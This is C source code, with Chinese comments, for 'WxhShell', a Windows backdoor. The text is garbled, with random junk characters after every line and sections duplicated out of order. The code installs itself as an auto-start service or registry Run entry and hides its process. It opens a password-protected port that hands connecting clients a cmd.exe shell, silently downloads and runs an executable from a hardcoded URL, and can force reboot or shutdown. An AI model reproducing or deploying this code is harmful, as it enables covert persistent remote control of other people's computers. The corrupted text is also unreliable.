    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nFe<w  
    if(Boot(SHUTDOWN)) q=m'^ ,gPS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <CiSK!  
    else { ]t,BMu=%  
    closesocket(wsh); O`\;e>!t  
    ExitThread(0); @6sqMw}  
    } |\t-g" ~sN  
    break; (vnAbR#e  
    } {.|CdqwY  
  // 获取shell XS{Qnx_#  
  case 's': { B eo@K|3GN  
    CmdShell(wsh); _pG-qK  
    closesocket(wsh); mh #a#<  
    ExitThread(0); 4G0m\[Du  
    break; (Q!}9K3  
  } .},'~NM]  
  // 退出 7`Ak) F:V  
  case 'x': { *W1dG#Np}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~?Pw& K2  
    CloseIt(wsh); 2tEkj=fA-  
    break; [Ek7b *  
    } aCj&O:]=  
  // 离开 :#ik. D  
  case 'q': { ^|>PA:%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n\D&!y[]F  
    closesocket(wsh); Yn Mvl  
    WSACleanup(); RJ&RTo  
    exit(1); xn(kKB.  
    break; At>DjKx]O  
        } vWv"  
  } T2W eE@o  
  } g2ixx+`?|:  
Y('#jU  
  // 提示信息 ]^7@}Ce_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h"Q8b}$^)  
} wv1iSfW  
  } zxl@(h d  
]|a g  
  return; ,PW'#U:  
} <2x^slx)?  
i$#;Kpb`^  
// shell模块句柄 O+]ZyHnB  
int CmdShell(SOCKET sock) R| , g<  
{ KYI/  
STARTUPINFO si; U_Ptqqt%  
ZeroMemory(&si,sizeof(si)); -f^tE,-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P4'Q/Sj  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I6av6t}  
PROCESS_INFORMATION ProcessInfo; p)-^;=<B3  
char cmdline[]="cmd"; q3N jky1w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o#Dk& cH  
  return 0; ()?(I?II  
} `UaD6Mc<Mz  
+GN(Ug'R  
// 自身启动模式 `HSKQ52  
int StartFromService(void) _< V)-Y  
{ F~W6Bp^W  
typedef struct ueWEc^_>  
{ 3(N$nsi  
  DWORD ExitStatus; NwvC[4  
  DWORD PebBaseAddress; ,/2Vt/lt  
  DWORD AffinityMask; RSRS wkC  
  DWORD BasePriority; {\1?ZrCI&  
  ULONG UniqueProcessId; !>o7a}?  
  ULONG InheritedFromUniqueProcessId; T3<4B!UB&  
}   PROCESS_BASIC_INFORMATION; '<)n8{3Q5w  
eC4[AX6e  
PROCNTQSIP NtQueryInformationProcess; U< fGGCw  
r Z$O?K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Of#u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +TL%-On  
pah'>dAL  
  HANDLE             hProcess; b_taC^-l  
  PROCESS_BASIC_INFORMATION pbi;  |>^JRx  
SKN`2hD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /36:ms A  
  if(NULL == hInst ) return 0; G~a ZJ,  
Dx?,=~W9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); JXQO~zj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RbnVL$c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,[KD,)3y  
&6!)jIWJ  
  if (!NtQueryInformationProcess) return 0; vh%B[brUJ  
nR~@#P\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T?0eVvM  
  if(!hProcess) return 0; BDDlQci38  
O0v}43J [  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F/{!tx  
b8t7u  
  CloseHandle(hProcess); Sz`,X0a  
RtS+<^2a;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ? OM!+O  
if(hProcess==NULL) return 0; 1CZgb   
<'oQ \eB  
HMODULE hMod; PC8Q"O  
char procName[255]; (ZZ8L-s  
unsigned long cbNeeded; K69'6?#  
/,yd+wcW#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZMlm)?m  
bAqA1y3=  
  CloseHandle(hProcess); p]TAELy  
2%m BK  
if(strstr(procName,"services")) return 1; // 以服务启动 2/^3WY1U  
</z Eg3F\  
  return 0; // 注册表启动 C,r;VyW6BI  
} *i%d,w0+  
~36!?&eA8  
// 主模块 d7upz]K9g  
int StartWxhshell(LPSTR lpCmdLine) q|(HsLs  
{ tyFzSrfc  
  SOCKET wsl; ^n z.j  
BOOL val=TRUE; n-;`Cy`k  
  int port=0; k y7Gwc  
  struct sockaddr_in door; n_A3#d<9  
vk^xT  
  if(wscfg.ws_autoins) Install(); n7[V&`e_  
1Pu~X \sO  
port=atoi(lpCmdLine); lL3U8}vn  
*g2x%aZWbG  
if(port<=0) port=wscfg.ws_port; Jnov<+  
d$!RZHo10V  
  WSADATA data; {EQOP]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g) jYFfGfH  
chX"O 0?"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )ez9"# MH'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 99QU3c<.  
  door.sin_family = AF_INET; 3=j"=-=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~f98#43  
  door.sin_port = htons(port); kl:Bfs)b  
/U9"wvg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f]CXu3w(J  
closesocket(wsl); VTE .^EK!  
return 1; ;e*!S}C,  
} 7!E,V:bt'  
} q8ASYNc  
  if(listen(wsl,2) == INVALID_SOCKET) { zrb}_  
closesocket(wsl); Q![@c   
return 1; 8d'0N  
} W'TZ%K) I  
  Wxhshell(wsl); f-Z/t fC  
  WSACleanup(); 26h21Z16q  
eSq.GtI  
return 0; 5$k:t  
[4f{w%~^  
} j\M?~=*w  
L!xi  
// 以NT服务方式启动 Gd85kY@w7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gcT%c|.  
{ ?Ir:g=RP*  
DWORD   status = 0; ;4\;mmLVk  
  DWORD   specificError = 0xfffffff; &6VnySE?  
P&Vv/D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nu%*'.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wibNQ`4k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cvL;3jRo  
  serviceStatus.dwWin32ExitCode     = 0; s~X%Y<9l  
  serviceStatus.dwServiceSpecificExitCode = 0; =I_'.b  
  serviceStatus.dwCheckPoint       = 0; w}L[u r;I_  
  serviceStatus.dwWaitHint       = 0; S f# R0SA  
eaU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p`qgrI`  
  if (hServiceStatusHandle==0) return; ?:0Jav  
M o|2}nf  
status = GetLastError(); (E1~H0^  
  if (status!=NO_ERROR) >m\(6x8RE  
{ m8[j #=h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v]UwJz3<  
    serviceStatus.dwCheckPoint       = 0; (T oUgVW1N  
    serviceStatus.dwWaitHint       = 0; xAm6BB c  
    serviceStatus.dwWin32ExitCode     = status; Ny/MJ#Lq  
    serviceStatus.dwServiceSpecificExitCode = specificError; $F.a><1rY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [$UI8tV  
    return; (TM,V!G+U~  
  } C0Z=~Q%  
d<Tc7vg4|U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {' H(g[k  
  serviceStatus.dwCheckPoint       = 0; \  Cj7k^  
  serviceStatus.dwWaitHint       = 0; f|g g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aN3;`~{9  
} e\/w'  
J'r^/  
// 处理NT服务事件,比如:启动、停止 GQ ;;bcj&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B9S@(/"7  
{ |_U= z;Y  
switch(fdwControl) R4d=S4 i  
{ l'E6CL}@[  
case SERVICE_CONTROL_STOP: .=; ;  
  serviceStatus.dwWin32ExitCode = 0; `Pnoxm'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~g t@P  
  serviceStatus.dwCheckPoint   = 0; dj%!I:Q>u  
  serviceStatus.dwWaitHint     = 0; W2!+z{:m  
  { A3*!"3nU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  %;!.n{X  
  } qqU 64E  
  return; hi[pVk~B)  
case SERVICE_CONTROL_PAUSE: <~=Vg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a8Wwq?@  
  break; xgtR6E^k  
case SERVICE_CONTROL_CONTINUE: yB6?`3A:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -UT}/:a  
  break; HxI" 8A  
case SERVICE_CONTROL_INTERROGATE: c:.eGH_f  
  break; &%Tj/Qx  
}; ,R|BG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 93hxSRw  
} 0{SL&<&  
ddR>7d}N  
// 标准应用程序主函数 Z3!`J&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ek}A]zC  
{ 9N3eN  
d'sZxU  
// 获取操作系统版本 kcx Ad   
OsIsNt=GetOsVer(); x,Vr=FB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )`D:F>p*  
2J;g{95z  
  // 从命令行安装 /Ci<xmP  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;A[Q2(w+  
$ME)#(  
  // 下载执行文件 !|>"o7  
if(wscfg.ws_downexe) { 0m ? )ROaJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :BT q!>s  
  WinExec(wscfg.ws_filenam,SW_HIDE); #e5\j\#.  
} T[j,UkgGo  
m l$o5&sN  
if(!OsIsNt) { k VQ\1!  
// 如果时win9x,隐藏进程并且设置为注册表启动 Aiea\j Bv  
HideProc(); vfo~27T{(  
StartWxhshell(lpCmdLine); rVsJ`+L  
} Af{"pzY  
else Rx}Gz$   
  if(StartFromService()) vr^qWn  
  // 以服务方式启动 ,Y48[_ymm  
  StartServiceCtrlDispatcher(DispatchTable); Du){rVY^d  
else sx<%2  
  // 普通方式启动 %~S&AE-  
  StartWxhshell(lpCmdLine); DlNX 3  
n(]-y@X0_  
return 0; g=o4Q< #^y  
} B7vpsSL  
@s^-.z  
#3d(M  
7VI*N)OZ8  
=========================================== @\I#^X5lv  
Rws3V"{`[  
-Y;3I00(  
*uvQ\.  
)sp+8  
FC"8#*x  
" :eLVC7'  
wec)Ctj+  
#include <stdio.h> lb1Xsgm{  
#include <string.h> 2f_:v6   
#include <windows.h> s"?3]P  
#include <winsock2.h> b>9>uC@J15  
#include <winsvc.h> 8-6L|#J#  
#include <urlmon.h> =mmWl9'mJ  
0 0U> F  
#pragma comment (lib, "Ws2_32.lib") ws^ np  
#pragma comment (lib, "urlmon.lib") xn|(9#1o  
PnG-h~Y3N  
#define MAX_USER   100 // 最大客户端连接数 N)>ID(}F1  
#define BUF_SOCK   200 // sock buffer Zj4Uak  
#define KEY_BUFF   255 // 输入 buffer {kAc(  
jlg(drTo  
#define REBOOT     0   // 重启 CVR3 A'  
#define SHUTDOWN   1   // 关机 5rUdv}.  
gltBC${7wZ  
#define DEF_PORT   5000 // 监听端口 uSBa DYg  
T9q-,w/j;  
#define REG_LEN     16   // 注册表键长度 aFIw=c(nP  
#define SVC_LEN     80   // NT服务名长度 W`*r>`krVJ  
&]-DqK7  
// 从dll定义API FU<Jp3<%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t);/'3|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vs{|xG7W D  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0Fr?^3h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Oz#{S:24M+  
d*Fj3Wkx  
// wxhshell配置信息 Q)z8PQl O  
struct WSCFG { sFTy(A/  
  int ws_port;         // 监听端口 xi; `ecqS<  
  char ws_passstr[REG_LEN]; // 口令 RY*U"G0#w  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5i{j' {_(8  
  char ws_regname[REG_LEN]; // 注册表键名 EDs\,f}  
  char ws_svcname[REG_LEN]; // 服务名 ,3 u}x,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O%HHYV%[m  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,wdD8ZT'Ip  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9@)O_@=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ##4HYQ%E  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t<?,F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {T~#?v(  
-RK- Fu<e  
}; uhutg,[  
m<2M4u   
// default Wxhshell configuration Pd]|:W< E  
struct WSCFG wscfg={DEF_PORT, 9]o-O]7/  
    "xuhuanlingzhe", W'u>#  
    1, -;k+GrLr^  
    "Wxhshell", "Os_vlapHo  
    "Wxhshell", xFg>SJ7]  
            "WxhShell Service", u,Kly<0j  
    "Wrsky Windows CmdShell Service", S?BG_J6A7  
    "Please Input Your Password: ", dN[\xVcj  
  1, 1 I",L&S1  
  "http://www.wrsky.com/wxhshell.exe", {P#|zp4C{  
  "Wxhshell.exe" &UlWCOo8  
    }; CQDkFQq-dq  
1hNq8*|  
// 消息定义模块 *bpD`s @  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6/dI6C!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Tkgs]q79  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IRqy%@)  
char *msg_ws_ext="\n\rExit."; mXfXO*Cnp  
char *msg_ws_end="\n\rQuit."; iM 3V=&)  
char *msg_ws_boot="\n\rReboot..."; i8HTzv"J  
char *msg_ws_poff="\n\rShutdown..."; {U !g.rh  
char *msg_ws_down="\n\rSave to "; 1D!<'`)AY  
#@nezu2  
char *msg_ws_err="\n\rErr!"; LC!bIm5'  
char *msg_ws_ok="\n\rOK!"; }|5Pr(I  
m/EFHS49  
char ExeFile[MAX_PATH]; 4#hSJ(~7S  
int nUser = 0; cDkf qcC  
HANDLE handles[MAX_USER]; dzrio-QU~  
int OsIsNt; r^ ZEImjc  
D=&Me=$  
SERVICE_STATUS       serviceStatus; K8Y=S12Ti  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; uOdl*|T?  
$\y'I Q%  
// 函数声明 gjzuG< 7m  
int Install(void); x;<W&s}(  
int Uninstall(void); CYYU 7  
int DownloadFile(char *sURL, SOCKET wsh); Uq`'}Vo  
int Boot(int flag); 2WYPO"q  
void HideProc(void); ls)%c  
int GetOsVer(void); {h`uV/5@`  
int Wxhshell(SOCKET wsl); >`ZyG5  
void TalkWithClient(void *cs);  | (_  
int CmdShell(SOCKET sock); HT1!5  
int StartFromService(void); A1zjPG&]  
int StartWxhshell(LPSTR lpCmdLine); x{ WD;$J  
"wh , Ue  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fPW@{~t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K0Fh%Y4)QH  
$5Ff1{  
// 数据结构和表定义 ))'<_nD  
SERVICE_TABLE_ENTRY DispatchTable[] = ~zNAbaC+>t  
{ XAL1|] S  
{wscfg.ws_svcname, NTServiceMain}, iTU5l5Uz  
{NULL, NULL} fkNbS  
}; e.V:)7Uc  
^eYVWQ'  
// 自我安装 LTx,cP  
int Install(void) 0F><P?5  
{ \.#>=!Ie  
  char svExeFile[MAX_PATH]; WbqWG^W  
  HKEY key; Czu\RXJR  
  strcpy(svExeFile,ExeFile); 8StgsM  
_/5H l`  
// 如果是win9x系统,修改注册表设为自启动 S\!ana])  
if(!OsIsNt) { !H>R%g#28_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y>e.~5;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (,Df^4%7  
  RegCloseKey(key); C/6V9;U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :'*~uJrR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3y8G?LL/[7  
  RegCloseKey(key); w %BL  
  return 0; 161xAig  
    } >]5P 3\AQV  
  } pgZXJ  
} Whf.fK  
else { _X"N1,0  
**gXvTqI  
// 如果是NT以上系统,安装为系统服务 dQR-H7U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Qhcu>r a  
if (schSCManager!=0) @A ^;jk  
{ k-OPU ,  
  SC_HANDLE schService = CreateService Lrq .Ab#  
  ( m#Z# .j_2  
  schSCManager, Is?La  
  wscfg.ws_svcname, 9ahWIO %  
  wscfg.ws_svcdisp, ^V Zk+'4  
  SERVICE_ALL_ACCESS, HcSXsF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +-CtjhoS  
  SERVICE_AUTO_START, (|1A?@sJ#h  
  SERVICE_ERROR_NORMAL, nq8C'Fo!6T  
  svExeFile, 2Gaa(rJ5o  
  NULL, 6]%sFy2  
  NULL, * U=s\  
  NULL, pYZ6e_j1 ~  
  NULL, 'o>B'$  
  NULL \<TXS)w]  
  ); G..aiA  
  if (schService!=0) 0o*8#i/)!3  
  { 6-B|Y3)B  
  CloseServiceHandle(schService); ):_\;.L  
  CloseServiceHandle(schSCManager); +<3X J7D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j@uOOhy  
  strcat(svExeFile,wscfg.ws_svcname); e@* EzvO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p hzKm9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !Bq3Z?xA}  
  RegCloseKey(key); {w^+\]tC  
  return 0; dNL(G%Qj+"  
    } M>ruKHipFE  
  } @8rx`9  
  CloseServiceHandle(schSCManager); {vyv7L  
} )6,=f.%  
} z]`k#O%%)  
9b"=9y,  
return 1; 9=h'9Wo  
} ^)*-Bo)I  
 ^J)mH[  
// 自我卸载 !"/n/jz  
int Uninstall(void) @wo(tf=@P  
{ FOy|F-j  
  HKEY key; 8=uu8-l8g  
x$Oq0d{T  
if(!OsIsNt) { n!xt5=x P{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Uy"M:|V1  
  RegDeleteValue(key,wscfg.ws_regname); 9}F*P669f  
  RegCloseKey(key); e:n<EnT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LKOwxF#TKT  
  RegDeleteValue(key,wscfg.ws_regname); P0j8- I  
  RegCloseKey(key); p(`6hWx  
  return 0; ~T,c"t2  
  } -0{r>,&Mm  
} #S*/bao#  
} |\IN.W[EL  
else { K<Iv:5-2  
4\u1TYR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "x*e gI  
if (schSCManager!=0) PV\+P6aIb  
{ ^^as'Dk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }Nm#q@o$P  
  if (schService!=0) jiS_G%G  
  {  fc-iAj  
  if(DeleteService(schService)!=0) { ]J$eDbaEjT  
  CloseServiceHandle(schService); @ljA  
  CloseServiceHandle(schSCManager); _ff`y  
  return 0; nR}sNl1  
  } 5l2 ?  
  CloseServiceHandle(schService); IIF] /Ek]  
  } se>8Z4  
  CloseServiceHandle(schSCManager); Cdu4U}^H  
} Za3]d+qm  
} vMt/u?oB  
[~#WG/!:  
return 1; Bb^;q#S1  
} +|'c>,?2H  
_Wp{ [TH  
// 从指定url下载文件 W~~7 C,!  
int DownloadFile(char *sURL, SOCKET wsh) ;HJLs2bP  
{ W=Mb  
  HRESULT hr; v)l8@.  
char seps[]= "/";  6S*e xw  
char *token; ^O<&f D  
char *file; B9$jSD  
char myURL[MAX_PATH]; lpeEpI/gM  
char myFILE[MAX_PATH]; }v*G_}^  
&cHV7  
strcpy(myURL,sURL); o9%)D<4M  
  token=strtok(myURL,seps); bM!_e3ik;  
  while(token!=NULL) w2Jf^pR  
  { sRx63{  
    file=token; SmdjyK1~8  
  token=strtok(NULL,seps); =`:K{loxq  
  } 1V4s<m>#  
-tHU6s,  
GetCurrentDirectory(MAX_PATH,myFILE); &U raUl  
strcat(myFILE, "\\"); oe |)oTv  
strcat(myFILE, file); =2zJ3&9  
  send(wsh,myFILE,strlen(myFILE),0); hp* /#D  
send(wsh,"...",3,0); E.ly#2?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o-{[|/)Tk  
  if(hr==S_OK) */|lJm'R  
return 0; -o[x2u~n\  
else =;3Sx::=  
return 1; 7/ysVWt  
PMh^(j[  
} m-*i>4;  
];a=Pn-:}G  
// 系统电源模块 l@H  
int Boot(int flag) @}OL9Ch  
{ EB=-H#  
  HANDLE hToken; ^xHTWg%9  
  TOKEN_PRIVILEGES tkp; v'qG26  
Co9QW/'i  
  if(OsIsNt) { hMUs" <.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V_RTI.3p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dC $Em@Nb  
    tkp.PrivilegeCount = 1; d`nVc50  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XZJ+h,f  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M?:c)&$]D  
if(flag==REBOOT) { OK6] e3UO  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;04Ldb1{|3  
  return 0; e8]\U/  
} 8V)^R(\;  
else { r>"   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *x])Y~oQ  
  return 0; ?^$MRa:D  
} &nkW1Ner9  
  } OCJnjlV%  
  else { O<"}|nbmQ[  
if(flag==REBOOT) { B}:(za&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]2'na?q9  
  return 0; HATA-M  
} gb> }v7  
else { fX.>9H[w@~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4%}*&nsI-Z  
  return 0; HA`@7I  
} {Jx4xpvPo  
} gu<'QV"  
("+}=*?OF3  
return 1; kc @[9eV  
} zG9Y!SY\-  
!n$tr  
// win9x进程隐藏模块 AvSM ^  
void HideProc(void) .J.-Mm` .  
{ I1\a[Xe8E  
T ;vF(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GXjfQ~<]  
  if ( hKernel != NULL ) C;`XlQG `  
  { {R61cD,n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?jt}*q>X]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &A)B~"[~  
    FreeLibrary(hKernel); A~ +S1  
  } s]mY*@a%  
(v|} \?L  
return; WxJf{=-  
} DrBUe'RH:M  
_ozg_E  
// 获取操作系统版本 O:"*q&;J  
int GetOsVer(void) =gvBz| +  
{ r8&^>4  
  OSVERSIONINFO winfo; OD 3f.fT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?(m jx  
  GetVersionEx(&winfo); EG0auzW?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9D}/\jM  
  return 1; ,FMx5$  
  else ivz>dJ?T  
  return 0; :ORR_f`>  
} }kK[S|XVO  
4e;y G>  
// 客户端句柄模块 GbA.UM ~  
int Wxhshell(SOCKET wsl) Ru>uL@w  
{ ]M[#.EX  
  SOCKET wsh; I}t3 p|z  
  struct sockaddr_in client; A"l?:?rtw]  
  DWORD myID; r"a5(Q;n  
vZ N!Zl7S  
  while(nUser<MAX_USER) +1!qs,  
{ kbfC|5S  
  int nSize=sizeof(client); *^wB!{.#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5qkH|*Z3  
  if(wsh==INVALID_SOCKET) return 1; jfx8EbQ  
g'u?Rn 7*J  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <[J[idY1he  
if(handles[nUser]==0) -,aeM~  
  closesocket(wsh); V8wKAj Ux  
else B Ma)O  
  nUser++; 7kK #\dI  
  } ~+bGN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +:-57  
^1x*lLf  
  return 0; -0Tnh;&=  
} M- 2Tz[  
ls`,EFF  
// 关闭 socket +|{RE.DL  
void CloseIt(SOCKET wsh) #E+gXan  
{ o|iYd n\  
closesocket(wsh); KdUnD4d  
nUser--; -:9P%jWt  
ExitThread(0); ww{_c]My  
} Za7q$7F7Bc  
P^Q[-e{  
// 客户端请求句柄 maY4g&'f  
void TalkWithClient(void *cs) sv(f;ib  
{ _#s=h_ FD  
(?kl$~&|  
  SOCKET wsh=(SOCKET)cs; <zy,5IlD  
  char pwd[SVC_LEN]; }Jh: 8BNuP  
  char cmd[KEY_BUFF]; x]{E)d"!  
char chr[1]; j0GMTri3  
int i,j; ?$Wn!"EC8  
%?hsoj&k  
  while (nUser < MAX_USER) { _l], "[d  
a=$t&7;,  
if(wscfg.ws_passstr) { ,j ',x\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ).HDru-2  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *tX{MSYW  
  //ZeroMemory(pwd,KEY_BUFF); 9Sq%s&  
      i=0; 5P h X"7  
  while(i<SVC_LEN) { hv$m4,0WB  
f8<o8*`7  
  // 设置超时 R%H$%cnj  
  fd_set FdRead; %F9{EXJy  
  struct timeval TimeOut; o}'bv  
  FD_ZERO(&FdRead); \cJ-Dd  
  FD_SET(wsh,&FdRead); $]&(7@'qo  
  TimeOut.tv_sec=8; W Qzj[  
  TimeOut.tv_usec=0; lhYn5d)DV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q *AQq=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MfBdNdox7  
gbStAr.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A +w v-~3  
  pwd=chr[0]; o1OBwPj  
  if(chr[0]==0xd || chr[0]==0xa) { Gy Qm/I  
  pwd=0; ~; OYtz  
  break; 25|8nfeC5  
  } s;YKeE!8  
  i++; W"xP(7X  
    } NO K/<_/  
HFQR ;9]  
  // 如果是非法用户,关闭 socket rJ'I>Q~x6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o:dR5v  
} i=32KI(%  
V' 2EPYB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +1Ph<zq"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lx U={Y0  
"%QD{z_L  
while(1) { Y ?r po  
{,j6\Cj4  
  ZeroMemory(cmd,KEY_BUFF); '69ZdP/xX  
p'?w2YN/  
      // 自动支持客户端 telnet标准   xaKst p  
  j=0; i~{ _eQV  
  while(j<KEY_BUFF) { M}"r#Plq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yISD/ g  
  cmd[j]=chr[0]; w*w?S  
  if(chr[0]==0xa || chr[0]==0xd) { E}Xka1 Bn  
  cmd[j]=0; N(3R|Ii  
  break; r\9TMg`C  
  } ftavbNR`W  
  j++; n1:v HBM@\  
    } /WnE:3G  
]y)Q!J )Q  
  // 下载文件 baoD(0d  
  if(strstr(cmd,"http://")) { ]`w}+B'/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \Z-2leL)j  
  if(DownloadFile(cmd,wsh)) :H[\;Z1_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f.pkQe(  
  else Q\J,}1<`6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }yEoEI`  
  } lZt(&^T  
